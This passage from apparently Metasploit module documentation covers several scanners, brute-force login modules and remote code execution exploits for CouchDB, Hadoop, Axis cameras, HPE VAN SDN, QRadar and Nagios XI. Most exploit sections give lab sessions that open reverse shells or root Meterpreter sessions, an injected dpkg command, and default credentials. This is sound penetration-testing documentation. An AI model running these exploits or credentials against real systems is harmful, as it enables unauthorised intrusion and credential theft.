[+] Enumeration component (com_fields)
[++] Name: com_fields
Location : http://192.168.2.39/components/com_fields/
Directory listing is enabled : http://192.168.2.39/components/com_fields/
[+] Enumeration component (com_finder)
[++] Name: com_finder
Location : http://192.168.2.39/components/com_finder/
Directory listing is enabled : http://192.168.2.39/components/com_finder/
[+] Enumeration component (com_mailto)
[++] Name: com_mailto
Location : http://192.168.2.39/components/com_mailto/
Directory listing is enabled : http://192.168.2.39/components/com_mailto/
Installed version : 3.1
[+] Enumeration component (com_media)
[++] Name: com_media
Location : http://192.168.2.39/components/com_media/
Directory listing is enabled : http://192.168.2.39/components/com_media/
[+] Enumeration component (com_newsfeeds)
[++] Name: com_newsfeeds
Location : http://192.168.2.39/components/com_newsfeeds/
Directory listing is enabled : http://192.168.2.39/components/com_newsfeeds/
[+] Enumeration component (com_search)
[++] Name: com_search
Location : http://192.168.2.39/components/com_search/
Directory listing is enabled : http://192.168.2.39/components/com_search/
[+] Enumeration component (com_users)
[++] Name: com_users
Location : http://192.168.2.39/components/com_users/
Directory listing is enabled : http://192.168.2.39/components/com_users/
[+] Enumeration component (com_wrapper)
[++] Name: com_wrapper
Location : http://192.168.2.39/components/com_wrapper/
Directory listing is enabled : http://192.168.2.39/components/com_wrapper/
Installed version : 3.1
```

View File

@ -0,0 +1,41 @@
## Intro
This module scans for Joomla Content Management System running on a web server.
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_version
msf5 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_version) > run
[*] Server: Apache/2.4.29 (Ubuntu)
[+] Joomla version: 3.8.2
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using Joomscan
```
# joomscan -u 192.168.2.39
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.5
+---++---==[Update Date : [2018/03/13]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : KLOT
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.2.39 ...
[+] Detecting Joomla Version
[++] Joomla 3.8.2
...snip...
```

View File

@ -0,0 +1,36 @@
## Vulnerable Application
This module is a brute-force login scanner for PhpMyAdmin
## Verification Steps
1. Start msfconsole
2. Do: ```use [auxiliary/scanner/http/phpmyadmin_login]```
3. Do: ```set RHOSTS [IP]```
4. Do: ```set TARGETURI [URI]```
5. Do: ```set PASSWORD [PASSWORD]```
6. Do: ```run```
7. You should get a successful login status
## Scenarios
### Tested on PhpMyAdmin Versions 4.0.10.20, 4.5.0, 4.8.1, 4.8.2, 5.0
```
msf5 > use auxiliary/scanner/http/phpmyadmin_login
msf5 auxiliary(scanner/http/phpmyadmin_login) > set rhosts 192.168.37.151
rhosts => 192.168.37.151
msf5 auxiliary(scanner/http/phpmyadmin_login) > set targeturi phpmyadmin-4.8.2/index.php
targeturi => phpmyadmin-4.8.2/index.php
msf5 auxiliary(scanner/http/phpmyadmin_login) > set password password
password => password
msf5 auxiliary(scanner/http/phpmyadmin_login) > run
[*] PhpMyAdmin Version: 4.8.2
[+] 192.168.37.151:80 - Success: 'root:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/phpmyadmin_login) >
```

View File

@ -0,0 +1,59 @@
## Description
This module identifies the version of IMAP in use by the server, as well as some of the login options.
Any IMAP sever should return this information.
## Vulnerable Application
### Install Dovecot on Kali Linux:
With this install, we'll only install IMAP for dovecot, as the other protocols are not required. However, this is unrealistic
in a production environment.
1. ```sudo apt-get install dovecot-imapd```
2. ```/etc/init.d/dovecot start```
## Verification Steps
1. Do: `use auxiliary/scanner/imap/imap_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Options
**IMAPPASS**
A password for an IMAP account.
**IMAPUSER**
A username for an IMAP account.
## Scenarios
### Dovecot 2.3.2 (582970113) on Kali
```
msf5 > use auxiliary/scanner/imap/imap_version
msf5 auxiliary(scanner/imap/imap_version) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/imap/imap_version) > run
[+] 10.168.202.216:143 - 10.168.202.216:143 IMAP * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS AUTH=PLAIN] Dovecot (Debian) ready.\x0d\x0a
[*] 10.168.202.216:143 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming
### [nmap](https://nmap.org/nsedoc/scripts/imap-capabilities.html)
```
# nmap -p 143 -sV -script=imap-capabilities 10.168.202.216
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-11 18:43 EDT
Nmap scan report for 10.168.202.216
Host is up (0.000044s latency).
PORT STATE SERVICE VERSION
143/tcp open imap Dovecot imapd
|_imap-capabilities: LITERAL+ more AUTH=PLAINA0001 IDLE have LOGIN-REFERRALS ENABLE OK Pre-login listed capabilities post-login ID STARTTLS IMAP4rev1 SASL-IR
```

View File

@ -0,0 +1,34 @@
## Description
This module identifies the version of POP3 in use by the server based on the server's banner.
Any POP3 sever should return this information.
## Vulnerable Application
### Install Dovecot on Kali Linux:
With this install, we'll only install POP3 for dovecot, as the other protocols are not required. However, this is unrealistic
in a production environment.
1. ```sudo apt-get install dovecot-pop3d```
2. ```/etc/init.d/dovecot start```
## Verification Steps
1. Do: `use auxiliary/scanner/pop3/pop3_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Scenarios
### Dovecot 2.3.2 (582970113) on Kali
```
msf5 auxiliary(scanner/pop3/pop3_version) > use auxiliary/scanner/pop3/pop3_version
msf5 auxiliary(scanner/pop3/pop3_version) > set rhosts 10.168.202.216
msf5 auxiliary(scanner/pop3/pop3_version) > run
[+] 10.168.202.216:110 - 10.168.202.216:110 POP3 +OK Dovecot (Debian) ready.\x0d\x0a
[*] 10.168.202.216:110 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,118 @@
## Description
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This module connects to and
negotiates with an rsync server, lists the available modules and, optionally, determines if the module requires a password to access.
## Vulnerable Application
### Configuring rsync on Kali Linux:
Rsync is installed by default on Kali, however we need to configure some modules for the scanner to find. Step three will
create the secrets files which we'll use to test the authentication mechanism. Much of this is based on the guide from
[atlantic.net](https://www.atlantic.net/cloud-hosting/how-to-setup-rsync-daemon-linux-server/).
1. ```mkdir /home/public_rsync2; mkdir /home/public_rsync3; mkdir /home/public_rsync```
2. Create the configuration file:
```
echo -n "[read only files]
path = /home/public_rsync
comment = Files are read only
read only = true
timeout = 300
[writable]
path = /home/public_rsync2
comment = Files can be written to
read only = false
timeout = 300
[authenticated]
path = /home/public_rsync3
comment = Files require authentication
read only = true
timeout = 300
auth users = rsync1,rsync2
secrets file = /etc/rsyncd.secrets
" > /etc/rsyncd.conf
```
3. ```echo -n "rsync1:9$AZv2%5D29S740k
rsync2:Xyb#vbfUQR0og0$6
rsync3:VU&A1We5DEa8M6^8" > /etc/rsyncd.secrets```
4. ```chmod 600 /etc/rsyncd.secrets```
5. ```rsync --daemon```
## Verification Steps
1. Do: `use auxiliary/scanner/rsync/modules_list`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Options
**TEST_AUTHENTICATION**
Connect to each share and test if authentication is required.
**VERBOSE**
When set to `false`, each module will be listed. When set to `true` each module will be listed, then a summary
table will also be printed including if authentication is required, and any module comments. `false` is the default value.
## Scenarios
### rsyncd on Kali (using above config)
With verbose set to `false`:
```
msf5 > use auxiliary/scanner/rsync/modules_list
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/rsync/modules_list) > run
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
```
With verbose set to `true`:
```
msf5 > use auxiliary/scanner/rsync/modules_list
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/rsync/modules_list) > set verbose true
verbose => true
msf5 auxiliary(scanner/rsync/modules_list) > run
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
rsync modules for 10.168.202.216:873
=======================================
Name Comment Authentication
---- ------- --------------
authenticated Files require authentication required
read only files Files are read only not required
writable Files can be written to not required
```
## Confirming
### [nmap](https://nmap.org/nsedoc/scripts/rsync-list-modules.html)
```
# nmap -p 873 -sV -script=rsync-list-modules 10.168.202.216
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-12 16:32 EDT
Nmap scan report for 10.168.202.216
Host is up (0.000045s latency).
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)
| rsync-list-modules:
| read only files Files are read only
| writable Files can be written to
|_ authenticated Files require authentication
```

View File

@ -0,0 +1,48 @@
## Verification Steps
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in
Python's module path, so `import impacket` works from any directory.
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this
specific version.
1. Start msfconsole
1. Do: `use auxiliary/scanner/smb/impacket/secretsdump`
1. Set: `RHOSTS`, `SMBUser`, `SMBPass`
1. Do: `run`, see hashes from the remote machine
## Scenario
```
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > show options
Module options (auxiliary/scanner/smb/impacket/secretsdump):
Name Current Setting Required Description
---- --------------- -------- -----------
ExecMethod smbexec yes The method to use for execution (Accepted: smbexec, wmiexec, mmcexec)
OutputFile no Write the results to a file
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass wakawaka yes The password for the specified username
SMBUser spencer yes The username to authenticate as
THREADS 1 yes The number of concurrent threads
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > run
[*] [2018.04.04-17:15:45] Running for 192.168.90.11...
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is in stopped state
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is disabled, enabling it
[*] [2018.04.04-17:15:45] 192.168.90.11 - Starting service RemoteRegistry
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for JD
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Skew1
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for GBG
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Data
[REDACTED]
[*] [2018.04.04-17:15:48] 192.168.90.11 - Cleaning up...
[*] [2018.04.04-17:15:48] 192.168.90.11 - Stopping service RemoteRegistry
[*] [2018.04.04-17:15:48] 192.168.90.11 - Restoring the disabled state for service RemoteRegistry
[*] [2018.04.04-17:15:48] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
[1]: https://github.com/CoreSecurity/impacket
[2]: https://www.dlitz.net/software/pycrypto/

View File

@ -0,0 +1,35 @@
## Description
This module grabs the banner from an SMTP server.
## Vulnerable Application
### Postfix on Kali Linux:
This is mainly based on the instructions from [digitalocean.com](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-postfix-on-ubuntu-16-04).
In this case, we don't need to configure all the users and set up the server fully, just enough to display a banner.
1. ```apt-get install postfix```
1. Select `Internet Site`
2. Select OK, the default is fine
2. ```systemctl restart postfix```
## Verification Steps
1. Do: `use auxiliary/scanner/smtp/smtp_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Scenarios
### Postfix 3.3.0-1+b1 (Ubuntu package number) on Kali (using above config)
```
msf5 > use auxiliary/scanner/smtp/smtp_version
msf5 auxiliary(scanner/smtp/smtp_version) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/smtp/smtp_version) > run
[+] 10.168.202.216:25 - 10.168.202.216:25 SMTP 220 rageKali.ragegroup ESMTP Postfix (Debian/GNU)\x0d\x0a
```

View File

@ -0,0 +1,79 @@
The teradata_odbc_login module is used to brute-force credentials for Teradata databases.
## Vulnerable Application
* Teradata Database
* Teradata Express
Teradata databases can be identified by scanning for TCP port 1025. An Nmap version scan can confirm if the service is recognized as Teradata.
## Extra Requirements
This module requires the Teradata ODBC driver and the Teradata python library.
### ODBC Driver for Kali Linux 2017.3
1. Download the Teradata ODBC driver for Ubuntu from [downloads.teradata.com](https://downloads.teradata.com/download/connectivity/odbc-driver/linux).
2. Refer to the Ubuntu package README for up-to-date instructions.
1. Install **lib32stdc++6** if necessary.
2. Install the ODBC drivers: `dpkg -i [package].deb`
3. Copy **/opt/teradata/client/ODBC_64/odbc.ini** to **/root/.odbc.ini** .
* Or your home directory if not root.
* Make sure **odbc.ini** has been renamed to **.obdc.ini** .
### Configuration for OS X
On OS X the Python client needs to be pointed to the ODBC driver manually. Create `~/udaexec.ini` with the following contents:
```ini
[CONFIG]
odbcLibPath=/usr/lib/libiodbc.dylib
```
### Python Package
```
pip install teradata
```
## Verification Steps
1. Deploy a [Teradata Express](https://www.teradata.com/products-and-services/teradata-express) test environment.
2. Install the OBCD driver and python package.
3. Start msfconsole.
4. Do: `use auxiliary/scanner/teradata/teradata_odbc_login`
5. Do: `set RHOSTS [IPs]`
6. Do: `set USERNAME [username to try]`
7. Do: `set PASSWORD [password to try]`
* The default Teradata credentials are the matching username and password 'dbc'.
8. Do: `run`
```
msf > use auxiliary/scanner/teradata/teradata_odbc_login
msf auxiliary(scanner/teradata/teradata_odbc_login) > set RHOSTS 192.168.0.2
RHOSTS => 192.168.0.2
msf auxiliary(scanner/teradata/teradata_odbc_login) > set USERNAME dbc
USERNAME => dbc
msf auxiliary(scanner/teradata/teradata_odbc_login) > set PASSWORD dbc
PASSWORD => dbc
msf auxiliary(scanner/teradata/teradata_odbc_login) > run
[*] Running for 192.168.0.2...
[*] 192.168.0.2:1025 - Creating connection: %s
[*] 192.168.0.2:1025 - Loading ODBC Library: %s
[*] 192.168.0.2:1025 - Method succeeded with info: [26] 523 24
[*] 192.168.0.2:1025 - Method succeeded with info: [26] 523 24
[*] 192.168.0.2:1025 - Available drivers: Teradata Database ODBC Driver 16.20,
[*] 192.168.0.2:1025 - Creating connection using ODBC ConnectString: %s
[*] 192.168.0.2:1025 - Setting AUTOCOMMIT to %s
[*] 192.168.0.2:1025 - FETCH_SIZE: 1
[*] 192.168.0.2:1025 - Buffer size for column %s: %s
[*] 192.168.0.2:1025 - SELECT SESSION returned %s
[*] 192.168.0.2:1025 - Executing query on session %s using SQLExecDirectW: %s
[*] 192.168.0.2:1025 - Committing transaction...
[*] 192.168.0.2:1025 - Created session %s.
[*] 192.168.0.2:1025 - Creating cursor %s for session %s.
[*] 192.168.0.2:1025 - Connection successful. Duration: %.3f seconds. Details: %s
[*] 192.168.0.2:1025 - Closing cursor %s for session %s.
[*] 192.168.0.2:1025 - Closing session %s...
[*] 192.168.0.2:1025 - Session %s closed.
[+] 192.168.0.2:1025 - [1/1] - dbc:dbc - Success
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,111 @@
## Description
CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
## Vulnerable Application
**Vulnerable Application Link**
- docker
Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
## Vulnerable Application Installation Setup.
Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
4. Do: ``check``
``[*] 192.168.77.139:5984 The target appears to be vulnerable.``
5. Do: ``set srvhost <ip>``
6. Do: ``set srvport <port>``
7. Do: ``set lhost <ip>``
8. Do: ``set lport <port>``
9. Do: ``exploit``
10. You should get a shell.
## Options
- URIPATH
``URIPATH`` by default is random, you can change it if you want.
- HttpUsername, HttpPassword
Sometimes it requires authentication, set these options to authorize.
## Scenarios
TESTED AGAINST LINUX
```
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options
Module options (exploit/linux/http/apache_couchdb_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password to login with
HttpUsername no The username to login as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 5984 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit to download and execute. (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139
rhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check
[*] 192.168.77.139:5984 The target appears to be vulnerable.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139
srvhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888
srvport => 8888
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139
lhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.77.139:4444
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2
[*] 192.168.77.139:5984 - The 1 time to exploit
[*] 192.168.77.139:5984 - Sending the payload to the server...
[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400
[*] Server stopped.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)
```

View File

@ -0,0 +1,26 @@
This module exploits multiple vulnerabilities against Axis Network Cameras, including an authentication
bypass in the .srv functionality, as well as a command injection in "parhand", in order to gain
arbitrary remote code execution under the context of root.
The exploit currently only supports the following payloads:
* cmd/unix/bind_netcat_gaping
* cmd/unix/reverse_netcat_gaping
## Vulnerable Application
The particular firmware (Companion Dome V) tested for this exploit was 6.15.4, web version 16.05.02.
For a list of affected Axis products, please go to the following page:
https://www.axis.com/files/sales/ACV-128401_Affected_Product_List.pdf
## Verification Steps
1. Start msfconsole
2. Do: `exploit/linux/http/axis_srv_parhand_rce`
3. Do: `set rhosts [IP]`
4. Do: `show payloads` to select a payload (that is not ipv6)
5. Do: `set payload [name of payload]`
6. Set LHOST if you are using a reverse shell
7. Do: `run`
8. You should get a session

View File

@ -0,0 +1,112 @@
## Description
This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
## Vulnerable Application
**Vulnerable Application Link**
- docker
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
## Vulnerable Application Installation Setup.
Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/hadoop_unauth_exec```
4. Do: ``set rhost x.x.x.x``
5. Do: ``set rport 8088``
6. Do: ``check``
``[+] 192.168.77.141:8088 The target is vulnerable.``
7. Do: `set payload linux/x86/meterpreter/reverse_tcp`
8. Do: ``exploit``
9. You should get a shell.
## Scenarios
```
msf5 > use exploit/linux/http/hadoop_unauth_exec
msf5 exploit(linux/http/hadoop_unauth_exec) > show options
Module options (exploit/linux/http/hadoop_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 8088 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141
rhost => 192.168.77.141
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/http/hadoop_unauth_exec) > show options
Module options (exploit/linux/http/hadoop_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.77.141 yes The target address
RPORT 8088 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141
lhost => 192.168.77.141
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit
[*] Started reverse TCP handler on 192.168.77.141:4444
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (853256 bytes) to 172.20.0.3
[*] Meterpreter session 1 opened (192.168.77.141:4444 -> 172.20.0.3:34138) at 2018-05-15 03:21:17 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

View File

@ -0,0 +1,85 @@
## Intro
This module exploits a hardcoded service token or default credentials in
HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.
A root command injection was discovered in the uninstall action's name
parameter, obviating the need to use sudo for privilege escalation.
If the service token option `TOKEN` is blank, `USERNAME` and `PASSWORD`
will be used for authentication. An additional login request will be
sent.
## Setup
Follow <http://h22208.www2.hpe.com/eginfolib/networking/docs/sdn/sdnc2_6/5998-8473install/content/s_download_sw.html>.
Tested on 2.7.18.0503.
## Options
**TOKEN**
Set this to the service token. Defaults to `AuroraSdnToken37`.
**USERNAME**
Set this to the service username. Defaults to `sdn`.
**PASSWORD**
Set this to the service password. Defaults to `skyline`.
## Usage
```
msf5 > use exploit/linux/http/hp_van_sdn_cmd_inject
msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set target Linux Dropper
target => Linux Dropper
msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Authenticating with service token AuroraSdnToken37
[*] Uploading payload as fake .deb
[+] Uploaded /var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1.deb
[*] Renaming payload and executing it
[*] Injecting dpkg -r --pre-invoke=mv${IFS}/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1.deb${IFS}/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1${IFS}&&${IFS}chmod${IFS}+x${IFS}/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1
[*] Injecting dpkg -r --pre-invoke=/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1
[*] Sending stage (812100 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:34468) at 2018-07-03 18:23:08 -0500
[+] Deleted /var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.56.102
OS : Debian 8 (Linux 4.4.0-2-amd64-hlinux)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Background session 1? [y/N]
msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set token ""
token =>
msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Authenticating with creds sdn:skyline
[+] Retrieved auth token 26d7b53a73a9455eae63c346321bfe31
[*] Uploading payload as fake .deb
[+] Uploaded /var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l.deb
[*] Renaming payload and executing it
[*] Injecting dpkg -r --pre-invoke=mv${IFS}/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l.deb${IFS}/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l${IFS}&&${IFS}chmod${IFS}+x${IFS}/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l
[*] Injecting dpkg -r --pre-invoke=/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l
[*] Sending stage (812100 bytes) to 192.168.56.102
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:34474) at 2018-07-03 18:24:47 -0500
[+] Deleted /var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l
meterpreter >
```

View File

@ -0,0 +1,51 @@
This module exploits three vulnerabilities in the IBM QRadar SIEM, a Forensics web application.
Chained together, they allow an attacker to achieve unauthenticated remote code execution.
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
so these vulnerabilities can be exploited in all flavours of QRadar.
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
## Vulnerable Application
The vulnerable application can be found here: https://developer.ibm.com/qradar/ce/
You will need a valid IBM login, which can be acquired for free, in order to
download the software, but old versions are archived.
This module was tested with IBM QRadar Community Edition 7.3.0 and 7.3.1, but may not work
with the licensed versions (it is unclear if IBM backported a patch or there
was some other reason it does not work).
IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable.
## Example
```
Module options (exploit/linux/http/ibm_qradar_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes HTTP server address
SRVPORT 4448 yes HTTP server port
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11
```

View File

@ -0,0 +1,48 @@
## Vulnerable Application
Nagios XI 5.2.6 - 5.4.12 Chained Remote Root RCE
This exploit combines many different vulnerabilities in Nagios XI to
gain remote root access to the affected host. The process is:
1. Reset the database user to root.
2. Exploit SQL injection to extract api keys.
3. Use api key to add administrative user.
4. Authenticate to application using newly added user.
5. Exploit command injection and sudo misconfiguration
to get remote root shell.
6. Remove added admin user, and reset database user.
See [our blog post](http://blog.redactedsec.net/exploits/2018/04/26/nagios.html) for more information
## Verification Steps
1. `use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo`
2. `set rhost <IP>`
3. `exploit`
4. A meterpreter session should have been opened successfully
## Scenarios
### Nagios 5.2.7 on CentOS 6.7
```
msf5 > use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
msf5 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > set rhost 172.22.222.182
rhost => 172.22.222.182
msf5 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > run
[*] Started reverse TCP handler on 172.22.222.177:4444
[*] Command Stager progress - 100.00% done (705/705 bytes)
[*] Sending stage (857352 bytes) to 172.22.222.182
[*] Meterpreter session 1 opened (172.22.222.177:4444 -> 172.22.222.182:35262) at 2018-06-29 11:04:03 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 6.9 (Linux 2.6.32-696.10.2.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,81 @@
## Description
This module exploits a command injection vulnerability in the
`change_passwd` API method within the web interface of QNAP Q'Center
virtual appliance versions prior to 1.7.1083.
The vulnerability allows the `admin` privileged user account to
execute arbitrary commands as the `admin` operating system user.
Valid credentials for the `admin` user account are required, however,
